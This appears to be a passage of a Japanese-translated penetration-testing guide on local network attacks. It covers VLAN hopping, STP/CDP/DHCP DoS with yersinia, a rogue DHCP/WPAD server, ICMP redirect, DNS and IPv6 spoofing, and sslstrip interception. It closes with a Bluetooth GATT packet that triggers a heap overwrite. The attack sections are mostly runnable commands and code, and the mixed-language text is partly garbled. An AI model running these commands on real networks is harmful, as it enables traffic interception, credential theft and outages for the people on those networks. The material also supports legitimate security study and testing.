root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

説明した Dynamic Trunking and creating virtual interfaces an discovering hosts inside による他の VLAN 内での攻撃は、ツール: https://github.com/nccgroup/vlan-hopping—frogger によって 自動的に実行されます

Double Tagging

もし attacker が MAC, IP and VLAN ID of the victim host を知っていれば、指定された VLAN と victim の VLAN を使ってフレームを double tag a frame し、パケットを送信できます。victim won’t be able to connect back ため、attacker にとっての best option for the attacker is communicate via UDP は、SNMP のような興味深い動作を行えるプロトコルへの通信です。

別の手段として、attacker は TCP port scan spoofing an IP controlled by the attacker and accessible by the victim を実行する（おそらくインターネット経由）。その後、attacker が所有する別のホストで victim からのパケットを受け取るかを sniff して確認できます。

To perform this attack you could use scapy: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

直接接続されている switch へのアクセスを持っている場合、ネットワーク内でbypass VLAN segmentationすることが可能です。単純にポートをswitch the port to trunk mode（trunk とも呼ばれる）に切り替え、ターゲットの VLANs の ID で virtual interfaces を作成し、IP address を設定します。アドレスは動的に要求する（DHCP）か、静的に設定するかはケースによります。

Lateral VLAN Segmentation Bypass

Layer 3 Private VLAN Bypass

ゲスト無線ネットワークのような環境では、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぐために port isolation（also known as private VLAN） の設定が実装されていることがあります。しかし、これらの isolation を回避できる手法が確認されています。この手法は、ネットワーク ACLs の欠如や不適切な設定を突き、IP パケットをルータ経由で別のクライアントに到達させることを可能にします。

攻撃は、ターゲットクライアントの IP address を持つが router の MAC address を持つパケットを作成することで実行されます。これによりルータは誤ってそのパケットをターゲットクライアントに転送してしまいます。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用して脆弱性を突く Double Tagging Attacks と類似しています。

Key Steps of the Attack:

1. Crafting a Packet: ターゲットクライアントの IP address を含みつつ、router の MAC address を持つ packet を特別に作成します。
2. Exploiting Router Behavior: 作成した packet をルータに送信すると、設定によりルータがそのパケットをターゲットクライアントへリダイレクトし、private VLAN の isolation を回避します。

VTP Attacks

VTP (VLAN Trunking Protocol) は VLAN 管理を集中化します。VLAN データベースの整合性を保つために revision numbers を利用し、変更が行われるたびにこの番号がインクリメントされます。スイッチはより高い revision number を持つ構成を受け入れ、自身の VLAN データベースを更新します。

VTP Domain Roles

• VTP Server: VLAN を管理—作成、削除、変更を行います。ドメインメンバーに VTP announcements をブロードキャストします。
• VTP Client: VTP announcements を受信して自身の VLAN データベースを同期します。ローカルで VLAN の構成変更を行うことは制限されます。
• VTP Transparent: VTP の更新には関与しませんが VTP announcements を転送します。VTP attacks の影響を受けず、常に revision number はゼロのまま維持されます。

VTP Advertisement Types

• Summary Advertisement: VTP server によって 300 秒ごとにブロードキャストされ、ドメインの基本情報を伝えます。
• Subset Advertisement: VLAN 構成の変更後に送信されます。
• Advertisement Request: VTP client が Summary Advertisement を要求するために発行します。通常はより高い configuration revision number を検出した際に応答として発行されます。

VTP の脆弱性は trunk ports を介してのみ悪用可能であり、VTP announcements はそれらを通じてのみ循環します。DTP attack の後に攻撃者は VTP に向かうことがあります。Yersinia のようなツールは VTP attacks を支援し、VLAN database を消去してネットワークを実質的に破壊することを目的とすることができます。

Note: この議論は VTP version 1 (VTPv1) に関するものです。

yersinia -G # Launch Yersinia in graphical mode

Yersiniaのグラフィカルモードでは、VLANデータベースを消去するために ‘deleting all VTP vlans’ オプションを選択します。

STP攻撃

インターフェース上でBPDUフレームをキャプチャできない場合、STP攻撃に成功する可能性は低いです。

STP BPDU DoS

大量のBPDUs TCP (Topology Change Notification) や Conf (トポロジー作成時に送信されるBPDU) を送信すると、スイッチに過負荷がかかり正しく動作しなくなります。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

TCPが送信されると、switchesのCAM tableは15秒で削除されます。次に、この種のパケットを継続的に送信すると、CAM tableは継続的に（または毎15秒ごとに）再構築され、再構築されるとswitchはhubのように振る舞います。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

攻撃者はスイッチの振る舞いをシミュレートして、ネットワークのSTP rootになろうとします。すると、より多くのデータが攻撃者経由で流れるようになります。これは、2台の異なるスイッチに接続している場合に有効です。
これは、BPDUs CONF packetsを送信し、priority 値が実際のroot switchの優先度より低いと偽ることで行われます。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

攻撃者が2台のスイッチに接続されている場合、攻撃者が新しいツリーのrootになり、これらのスイッチ間のすべてのトラフィックが攻撃者を経由します (MITM attack が実行される).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Attacks

CISCO Discovery Protocol (CDP) は CISCO デバイス間の通信に不可欠で、デバイスがお互いを 識別し設定情報を共有する ことを可能にします。

Passive Data Collection

CDP は全ポートを通じて情報をブロードキャストするように設定されており、これはセキュリティ上のリスクにつながる可能性があります。攻撃者がスイッチのポートに接続すると、Wireshark、tcpdump、または Yersinia のようなネットワークスニッファを展開することができます。この操作により、ネットワーク機器のモデルや実行している Cisco IOS のバージョンなど、機器に関する機密データが明らかになる可能性があります。攻撃者はその特定された Cisco IOS バージョンの脆弱性を狙うかもしれません。

Inducing CDP Table Flooding

より攻撃的なアプローチでは、正当な CISCO デバイスを装ってスイッチのメモリを圧倒し、Denial of Service (DoS) 攻撃を仕掛けることが含まれます。以下はテスト用ネットワークツールである Yersinia を使用してそのような攻撃を開始するためのコマンド列です：

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

この攻撃では、スイッチのCPUとCDP neighbor tableに大きな負荷がかかり、過剰なリソース消費によりしばしば**「ネットワーク麻痺」**を引き起こします。

CDP Impersonation Attack

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP 攻撃と VoIP Hopper ツール

VoIP phones は、IoT デバイスとますます統合されており、特定の電話番号を介してドアの解錠やサーモスタットの制御などの機能を提供します。しかし、この統合はセキュリティリスクを引き起こす可能性があります。

ツール voiphopper は、さまざまな環境（Cisco, Avaya, Nortel, Alcatel-Lucent）で VoIP phone をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARP などのプロトコルを使用して、音声ネットワークの VLAN ID を検出します。

VoIP Hopper は Cisco Discovery Protocol (CDP) に対して3つのモードを提供します：

1. Sniff Mode (-c 0): ネットワークパケットを解析して VLAN ID を特定します。
2. Spoof Mode (-c 1): 実際の VoIP デバイスのパケットを模倣するカスタムパケットを生成します。
3. Spoof with Pre-made Packet Mode (-c 2): 特定の Cisco IP phone モデルと同一のパケットを送信します。

高速化のために推奨されるモードは3番目です。次を指定する必要があります：

• 攻撃者のネットワークインターフェース（-i パラメータ）。
• エミュレートする VoIP デバイスの名前（-E パラメータ）。Cisco の命名フォーマットに従います（例: SEP に続けて MAC アドレス）。

企業環境では、既存の VoIP デバイスを模倣するために次のような方法があります：

• 電話機の MAC ラベルを確認する。
• 電話機の表示設定を操作してモデル情報を確認する。
• VoIP デバイスをラップトップに接続し、Wireshark で CDP リクエストを観察する。

3番目のモードでツールを実行する例は次のとおりです：

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP 攻撃

列挙

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Two types of DoS は DHCP サーバに対して実行できます。最初の方法は、十分な数の偽ホストをシミュレートしてすべての利用可能なIPアドレスを使い果たすことです。
この攻撃は、DHCP サーバの応答を確認でき、プロトコル（Discover (Comp) –> Offer (server) –> Request (Comp) –> ACK (server)）を完了できる場合にのみ成立します。例えば、これは Wifi networks では不可能です。

別の DHCP DoS の方法は、送信元にあり得るすべてのIPを用いた DHCP-RELEASE packet を送信することです。すると、サーバは全員がそのIPの使用を終了したと判断します。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

これをより自動化して行う方法として、ツールDHCPingの使用がある。

前述のDoS攻撃を使い、クライアントに環境内で新しいリースを取得させ、正規のサーバーを枯渇させて応答不能にすることができる。正規のサーバーが再接続を試みると、次の攻撃で述べる悪意のある値を提供することができる。

悪意のある値を設定する

不正な DHCP サーバーは /usr/share/responder/DHCP.py にある DHCP スクリプトを使ってセットアップできる。これはトラフィックを悪意あるサーバーにリダイレクトして HTTP トラフィックや認証情報をキャプチャするなどのネットワーク攻撃に有用だ。ただし、不正なゲートウェイを設定しても効果は薄く、クライアントからのアウトバウンドトラフィックしか取得できず、実際のゲートウェイからの応答を見逃してしまう。そのため、より効果的な攻撃には不正な DNS または WPAD サーバーを設定することが推奨される。

Below are the command options for configuring the rogue DHCP server:

• 自分のIPアドレス（ゲートウェイ広告）: -i 10.0.0.100 を使用して自分のマシンのIPをゲートウェイとして広告する。
• ローカルDNSドメイン名: 必要に応じて -d example.org を使ってローカルDNSドメイン名を設定する。
• 元のルーター/ゲートウェイのIP: -r 10.0.0.1 を使って正規のルーターまたはゲートウェイのIPアドレスを指定する。
• プライマリDNSサーバーのIP: -p 10.0.0.100 を使ってあなたが管理する不正なDNSサーバーのIPを設定する。
• セカンダリDNSサーバーのIP: 必要に応じて -s 10.0.0.1 を使ってセカンダリDNSサーバーのIPを設定する。
• ローカルネットワークのネットマスク: -n 255.255.255.0 を使ってローカルネットワークのネットマスクを定義する。
• DHCPトラフィック用インターフェース: -I eth1 を使って特定のネットワークインターフェースでDHCPトラフィックをリッスンする。
• WPAD設定アドレス: -w “http://10.0.0.100/wpad.dat” を使ってWPAD設定のアドレスを指定し、Webトラフィックの傍受を補助する。
• デフォルトゲートウェイIPを偽装する: -S を含めてデフォルトゲートウェイのIPアドレスを偽装する。
• すべてのDHCPリクエストに応答する: -R を含めてサーバーがすべてのDHCPリクエストに応答するようにする。ただし、これはノイズが大きく検出されやすいことに注意する。

これらのオプションを正しく使用することで、不正なDHCPサーバーを構築し、ネットワークトラフィックを効果的に傍受できる。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP 攻撃

Here are some of the attack tactics that can be used against 802.1X implementations:

• EAP 経由での Active brute-force によるパスワード総当たり攻撃
• 不正な EAP コンテンツを用いて RADIUS サーバーを攻撃する **(exploits)
• EAP メッセージのキャプチャとオフラインでのパスワード解析 (EAP-MD5 と PEAP)
• TLS 証明書検証をバイパスするために EAP-MD5 認証にフォールバック（強制）させる
• hub 等を使って認証後に悪意あるネットワークトラフィックを注入する

If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) 攻撃

FHRP (First Hop Redundancy Protocol) は、ホット冗長ルーティングシステムを構築するために設計されたネットワークプロトコルのクラスです。FHRP を使用すると物理ルータを単一の論理デバイスとして統合でき、フォールトトレランスが向上し負荷分散が可能になります。

Cisco Systems のエンジニアは、2 つの FHRP プロトコル、GLBP と HSRP を開発しました。

GLBP & HSRP Attacks

RIP

Routing Information Protocol (RIP) には RIP、RIPv2、RIPng の 3 つのバージョンが存在します。RIP と RIPv2 は UDP を使用してポート 520 でピアにデータグラムを送信しますが、RIPng は IPv6 マルチキャストを介して UDP ポート 521 にデータグラムをブロードキャストします。MD5 認証のサポートは RIPv2 に導入されました。一方、RIPng にはネイティブな認証は組み込まれておらず、代わりに IPv6 内のオプションである IPsec AH および ESP ヘッダに依存します。

• RIP and RIPv2: 通信はポート 520 の UDP データグラムで行われます。
• RIPng: IPv6 マルチキャストを介して UDP ポート 521 にデータグラムをブロードキャストします。

RIPv2 は MD5 認証をサポートする一方で、RIPng にはネイティブな認証がなく、IPv6 の IPsec AH/ESP ヘッダに依存している点に注意してください。

EIGRP 攻撃

EIGRP (Enhanced Interior Gateway Routing Protocol) は動的ルーティングプロトコルで、distance-vector protocol（距離ベクトル型）です。認証が設定されておらず passive インターフェースが構成されていない場合、侵入者は EIGRP ルーティングに干渉し、ルーティングテーブルの汚染を引き起こす可能性があります。さらに、EIGRP ネットワーク（つまりオートノマスシステム）はフラットでゾーンによる分割がないため、攻撃者がルートを注入すると そのルートはオートノマスな EIGRP システム全体に拡散する可能性が高くなります。

EIGRP システムを攻撃するには、正規の EIGRP ルータとのネイバー関係を確立する必要があり、これにより基本的な情報収集からさまざまな注入まで多くの可能性が開かれます。

FRRouting は BGP、OSPF、EIGRP、RIP などをサポートする仮想ルータを実装することを可能にします。攻撃者のシステムにこれをデプロイするだけで、ルーティングドメイン内で正規のルータを装うことができます。

EIGRP Attacks

Coly は EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストの傍受機能を提供します。またパケット注入も可能で、これを利用してルーティング設定を変更できます。

OSPF

Open Shortest Path First (OSPF) プロトコルでは、ルータ間の安全な通信を確保するために MD5 認証が一般的に用いられます。しかし、このセキュリティ対策は Loki や John the Ripper のようなツールによって破られる可能性があります。これらのツールは MD5 ハッシュをキャプチャしてクラッキングでき、認証キーを露呈させます。一旦キーを入手すれば、新しいルーティング情報を注入するために使用できます。ルートパラメータの設定と、破られたキーの設定には、それぞれ Injection タブと Connection タブが使用されます。

• Capturing and Cracking MD5 Hashes: Loki や John the Ripper といったツールが使用されます。
• Configuring Route Parameters: これは Injection タブで行います。
• Setting the Compromised Key: キーは Connection タブで設定します。

その他の一般的なツールと情報源

• Above: ネットワークトラフィックをスキャンして脆弱性を発見するツール
• ネットワーク攻撃に関するさらなる情報はここで確認できます。

Spoofing

攻撃者は偽の DHCP 応答を送信して、ネットワークに参加する新しいメンバの全てのネットワークパラメータ（GW、IP、DNS）を設定します。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Check the previous section.

ICMPRedirect

ICMP Redirectは、attackerがあるIPへ到達する最良の経路であることを示すICMP packet type 1 code 5を送信することで行われます。victimがそのIPに接続しようとすると、そのpacketはattacker経由で送られます。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

攻撃者は、被害者が問い合わせるドメインのいくつか（またはすべて）を名前解決します。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasqで独自のDNSを構成する

apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1   domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

ローカルゲートウェイ

システムやネットワークへの複数の経路が存在することがよくあります。ローカルネットワーク内のMAC addressesのリストを作成したら、_gateway-finder.py_を使用してIPv4 forwardingをサポートするホストを特定してください。

</details>


### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

DNSルックアップが失敗した場合のローカルホスト解決には、Microsoft システムは **Link-Local Multicast Name Resolution (LLMNR)** や **NetBIOS Name Service (NBT-NS)** に依存します。同様に、**Apple Bonjour** や **Linux zero-configuration** の実装は、ネットワーク内のシステムを発見するために **Multicast DNS (mDNS)** を利用します。これらのプロトコルは認証されておらず、UDPでブロードキャストされるため、攻撃者がユーザーを悪意あるサービスへ誘導する目的で悪用できます。

Responderを使って、ホストが検索するサービスに対して偽の応答を送信し、サービスをなりすますことができます。\
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

ブラウザは一般的に **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings** を使ってプロキシ設定を自動取得します。これは、"http://wpad.example.org/wpad.dat" のようなURLから設定を取得することを伴います。クライアントがこのサーバを検出する方法はいくつかあります:

- **DHCP** 経由（特別なコード252エントリを利用して検出される）。
- **DNS** 経由（ローカルドメイン内で _wpad_ というホスト名を検索する）。
- **Microsoft LLMNR and NBT-NS** 経由（DNSが成功しない場合のフォールバック機構）。

ツール Responder はこのプロトコルを悪用して **malicious WPAD server** として振る舞います。DHCP、DNS、LLMNR、NBT-NS を用いてクライアントを誤誘導し、自分に接続させます。To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)

ネットワーク内でさまざまなサービスを提供して、ユーザーを騙していくつかの **plain-text credentials** を入力させようとすることができます。**More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**

### IPv6 Neighbor Spoofing

この攻撃は IPv6 の世界における ARP Spoofing に非常によく似ています。被害者に GW の IPv6 アドレスが攻撃者の MAC アドレスを持っていると誤認させることができます。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

</details>


### アクティブ探索の注意点

UDPパケットを要求されたポートを持たないデバイスに送信すると、ICMP (Port Unreachable) が返されることに注意してください。

### **ARP 探索**

ARPパケットはネットワーク内で使用されているIPを発見するために使われます。PCは可能な各IPアドレスに対してリクエストを送信し、使用中のアドレスだけが応答します。

### **mDNS (multicast DNS)**

BettercapはMDNSリクエスト（各X msごと）を送信して **\_services\_.dns-sd.\_udp.local** を問い合わせます。このパケットを受け取ったマシンは通常この要求に応答します。次に、"services" に応答するマシンのみを検索します。

**ツール**

- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder

### **NBNS (NetBios Name Server)**

Bettercapはポート137/UDPに対し、名前 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" を問い合わせるパケットをブロードキャストします。

### **SSDP (Simple Service Discovery Protocol)**

Bettercapはあらゆる種類のサービスを探すためにSSDPパケットをブロードキャストします（UDP ポート 1900）。

### **WSD (Web Service Discovery)**

Bettercapはサービスを検索するためにWSDパケットをブロードキャストします（UDP ポート 3702）。


## Bluetooth (L2CAP/ATT/GATT) 攻撃

- Android FluorideはL2CAP PSMs上でサービスを公開します（例: SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F）。サービスは次の方法で登録されます:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);

acl  = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl  = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt  = b'\x20'  # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite